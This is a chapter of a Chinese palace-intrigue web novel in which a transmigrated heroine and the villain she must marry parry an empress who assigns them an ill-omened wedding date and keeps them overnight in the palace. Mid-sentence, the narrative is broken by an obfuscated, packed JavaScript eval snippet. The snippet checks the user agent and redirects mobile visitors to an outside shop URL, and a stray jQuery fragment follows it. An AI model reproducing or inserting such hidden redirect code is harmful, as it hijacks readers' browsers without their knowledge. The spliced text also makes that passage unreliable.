“后宫从不干涉政务,本宫又能有什么话要对丞相说?世子莫不是糊涂了?”

    戚弦月语气如常,只是那面上神色已然有了些微妙的变化,搭在身前那染了丹蔻的指甲,也微不可察地默默攥紧,陷进手心软肉里。

    只见她惊惧情绪陡然浮现于眼底,长期久居高位沉淀出的气场让戚弦月瞪向逢隽与施黛的这一眼染上不怒自威的气势。

    只是这威慑力在她那略带心虚的眼神下显然有些底气不足。

    逢隽非但不慌,反而不卑不亢低眉颔首,唇边含着笑,语气略带几分刻意的惊诧:

    “瞧微臣这记性,怎就忘了皇后与丞相儿时可谓是青梅竹马,两小无猜的关系。却不曾想,皇后如今竟与丞相疏远至此,倒是微臣疏忽,自作主张了。”

    戚弦月在听到他那句“青梅竹马,两小无猜”时面上就已经挂不住了,听闻他此刻明捧暗杀的言语,心口怒意就差直接喷涌而出了。

    正巧心头这一口气还未出,便顺了他的话。

    “世子与世子妃情深伉俪,着实令世人羡慕,本宫此前着人特意去看了黄历,下月初三,乃是良辰吉日。不如你们便择那日完婚,可好?”

    下月初三乃是三娘煞日,表面为吉,内里却凶,是那黄历上最常见的假吉日。

    如果他们真选择在那日完婚成亲,婚后便容易聚少离多、子息缘薄。

    在这种封建王朝的小说背景下,婚是逃不掉的,成亲是必须成的。

    如此一来,反倒正中施黛下怀。

    哪个心理正常的读者会愿意跟逢隽这个心狠手辣的超级大反派结婚生子啊!

    由皇后为他们钦点完婚吉日,纵使他们再怎么肆意妄为、胆大包天敢对戚弦月这个皇后明嘲暗讽、威逼利诱,表面功夫也是该做全的。

    位高便压人,皇后钦点完婚时日,他们即便私底下有异议也得顺从完婚。

    果不其然,饶是逢隽这般仗着圣誉正浓敢冲撞皇后的臣子,也不得不垂首低头应承了皇后这根本不安好心的报复。

    “微臣谢过皇后,恩,赏。”

    比起他这一字一顿的咬牙切齿,施黛这边的语气就轻快自然多了。

    “施黛谢过娘娘恩赏,祝娘娘千岁千岁千千岁!”

    殊不知戚弦月听到施黛这后半句话,面色更难看了,望向她的那一眼里带着成功捕捉到猎物后盘算如何虐杀猎物的残忍思索。

    施黛:“……”

    她默默收回视线,认命地闭了闭眼。

    天地良心,她保证自己这句话一定是真心的。

    “本宫本是差人将施黛带进宫,想让她陪本宫聊聊天,解解闷儿,赏赏花的,却不曾想施姑娘如此受欢迎,竟半路被太子截了胡邀去弹琴奏乐。”

    戚弦月说这话时,语气尽是对施黛身份诟病的轻蔑。

    施黛没忍住轻轻蹙了蹙眉,但这情绪转瞬即逝,她终究还是为了明哲保身,不敢对外展现任何不满。

    太傅尹成先前一直插不上话,在一旁默默听着他们一来一回的对决,几番心惊胆战听着那些夹枪带棒的话,终于在这话说出口的下一秒,下意识站在了自己的爱徒太子那边。

    “回禀皇后娘娘,此事切莫听旁人造谣生事,且听老夫娓娓道来!太子殿下一向精进求学,而这求学之人并非强求为技艺高超之人,其心性其悟性,皆可求学而得之。”

    “且老夫方才同太子殿下一同品鉴世子妃的琴技,世子妃的琴技已至精湛高超地位,手法娴熟,绝非常人所能及。”

    戚弦月岂会被他这三言两语给带偏过去,一针见血地指出问题所在:“这便是你们明知本宫邀约在先却依旧中途截胡的缘由?”

    “母后息怒。”齐昱也反应过来戚弦月怒气的缘由。

    太傅尹成也是开团秒跟:“还请皇后娘娘恕罪!”

    还当场想出了良好的补救方法:“小女尹芙自幼便琴棋书画样样精通,娘娘若觉孤寂,可邀小女进宫陪同,而邀世子妃确实不妥。”

    “世子妃毕竟婚约加身,即将嫁做人妇,进宫与未婚男子弹琴奏乐,实乃不妥之举。微臣今日与太子殿下一时兴起邀其抚琴,此举确也有失妥当,还请皇后娘娘见谅。”

    “不必了,”戚弦月抬着下巴,倨傲地望了他一眼,“既然是琴棋书画样样精通,那便唤来陪太子殿下弹琴吧,省得再让太子殿下做出此等有失偏颇之举。”

    说着,戚弦月视线似有若无地往施黛身后那位原本该引路的宫女看过去。

    小宫女进宫多年也没有一次性见过这么多朝廷中的大人物,如今被自家主子这样轻飘飘扫上一眼,腿都快吓软了,当即扑通一声跪倒在地,连连求饶。

    “奴婢办事不当,还请皇后娘娘恕罪!”

    她连连磕了不知道多少个响头,将原本白皙饱满的光洁额头磕出破皮的脱皮带血的伤口后,又缓缓抬起头来,想到什么似的,视线目移到她跟前不远处的施黛身上。

    施黛自然也接收到她眼神里祈求担忧,却又难免忐忑的情绪。

    施黛递给对方一个安心的眼神,幅度极小地轻轻点了下头,确保对方接收到她的信号后,又不动声色的将视线移回来。

    果不其然,此处除了戚弦月这个皇后,最有话语权的人开口了。

    “母后,不必过于苛责下人,我们这些上头的人下令,她们除了照做,也别无他法。此事是儿臣行事不妥,还请母后责罚儿臣,莫要苛责旁人。”

    齐昱一向宅心仁厚,为官时为国为民,为君时更是体谅底层百姓,在这种时候更不可能见死不救。

    施黛对男主这个人设了解得很透彻,也成功猜对了当下的剧情走向。

    齐昱既已开口求情,戚弦月当然不会一意孤行为了惩治下人而去丢了自己在太子面前好母亲的温婉形象。

    皇后身边的大宫女极有眼力见,见皇后颜色好转,且无追究之意,赶紧扬声提点跪趴在地上不敢抬头的小宫女:“还不快谢太子殿下不罚之恩。”

    “谢太子殿下救命之恩,不罚之恩!谢皇后娘娘不罚之恩,体恤之恩!”

    话音刚落,接着又是几个响亮的响头,施黛心头悬着的石头也落了地,经此一遭,这宫女的这条命算是保住了。

    “时辰不早了,这日落也快开始了,本宫原先想去后花园瞧瞧那新开的牡丹花,今日便也只能作罢了。施姑娘进进出出,路上颠簸,着实辛苦,不若便在本宫这偏殿住上一晚吧。”

    施黛心头猛然一震,一时竟找不出什么方法子来婉拒对方。

    正想开口说些什么,戚弦月便转过身去拉住七老夫人的手动作亲昵地说:“娘亲今夜也在宫中过夜吧,难得进宫一趟,权当陪陪本宫了。”

    施黛听着对方一言一语笑盈盈说着一些母女间常见的话,发觉自己那颗心一时酸胀难言。

    无论是现实世界的母亲,还是胎穿后真真切切给予她母爱,养育她,教导她的那位娘亲,施黛都已经很久未曾见过了。

    一只宽大的手掌忽而覆上她的手背,包裹住她微凉的指尖。

    施黛转头望去,便撞进身侧逢隽眼中清楚楚倒映出的那个自己。

    逢隽眼中的自己,神态冷淡疏离,如一朵遗世独立

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17620868|205812||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    的神花,仿佛无欲无求,目空一切。

    可又在她慌乱看向他的那一瞬间,这神性被打破,取而代之的是一只小白兔慌乱无措后炸毛想要要人却愣住的模样。

    逢隽在施黛耳旁对她轻声说:“我既在,你便不必担心自身安危。”

    “世子殿下也打算陪施黛一起,在本宫这后宫住一晚吗?”戚弦月眼底氤氲着恰到好处的笑意。

    戚弦月分明觉得逢隽这人难搞又碍事。

    逢隽自然也看出戚弦月这昭然若揭的心思,用实际行动诠释了自己是如何难搞又碍事的。

    “多谢皇后娘娘体恤,夫人还未嫁入我逢府的大门,都说小别胜新欢,如今还未成婚便要分离,着实令在下寝食难安,如今娘娘盛情邀请,那在下便却之不恭了。”

    戚弦月不愧是宫斗之王,听了这话,面上笑意半分不减,语气虽已急促,但还是将体面留到了明面上。

    “尚嬷嬷,那便带他们去住处歇息罢。”

    尚嬷嬷对他们说:“世子,世子妃,请随老奴来吧。”

    话毕,她便走在前面给他们引路。

    那琴弦断的位置锯齿很清晰,并非自然断裂。

    事到如今施黛还能有什么猜不到的?

    “那断弦可是你做的手脚?”施黛跟逢隽并排走在后面,悄悄问了一句。

    逢隽只轻轻挑眉,并不做任何言语回答。

    施黛眯了眯眼,愈发清晰地确认了自己内心的这个想法。

    不管其身份如何,是否与她是同类,逢隽一定是像她一样能够预知未来,知晓未来剧情走向之人。

    或许是他们两人之间无声的眼神交流太多,尚嬷嬷察觉到他们还未跟上她的步伐,回身看了一眼,确认他们是否跟上。

    就是这一眼,刚好是两人距离最近且最亲密的一个瞬间。

    施黛正揪住他的衣领,暗戳戳责怪他破坏自己的已有计划。

    而逢隽面色阴沉,对她与太子相处时极好相与的态度,与她对自己百般偏见难以回转的态度形成鲜明对比的双标行为极其不爽。

    两张脸凑得极近,彼此都从对方眼神里看出几分不满。

    但不满还得继续装下去,他们发现尚嬷嬷回头看他们了。

    施黛原本揪住他衣领,准备兴师问罪的动作缓缓移动变化着,最后变为了为他整理衣领的温馨画面。

    逢隽却出其不意将她拦腰抱起,抱着她往前走去。

    边走还边对着尚嬷嬷轻轻颔首。“夫人身子娇贵,我抱着她走罢,让嬷嬷笑话了。”

    施黛一双美眸直接瞪圆了,简直不可思议。

    什么时候action的?这是随时随地随时开演啊。

    后宫的厢房就算是空着,也会有宫人定期清理打扫,以备不时之需。

    三人踏进房中之时,施黛忍不住问了一嘴:“尚嬷嬷,此处仅有一张床榻与一床被褥吗?”

    尚嬷嬷也顺着她手指的方向望去:“此处就一张床榻,二位今夜自然是同床共枕了。”

    尚嬷嬷话说的体面,但字字句句都在反向试探他们真实的关系:“世子妃虽然目前有名无实,但如今圣上赐婚圣旨已下,且皇后娘娘亦钦点成亲吉日,世子与世子妃也不必拘泥于这世俗名分,和衣共寝尚可。”

    未婚夫妇如今便要同床共枕吗?

    施黛将视线落到那床榻上。

    那床榻宽度仅能容纳两人的身位,显得有些逼仄拥挤。

    能从后宫里找到这刚好能躺下两人的床榻,也是很不容易,看来这皇后今日是铁了心要跟他们试探到底了。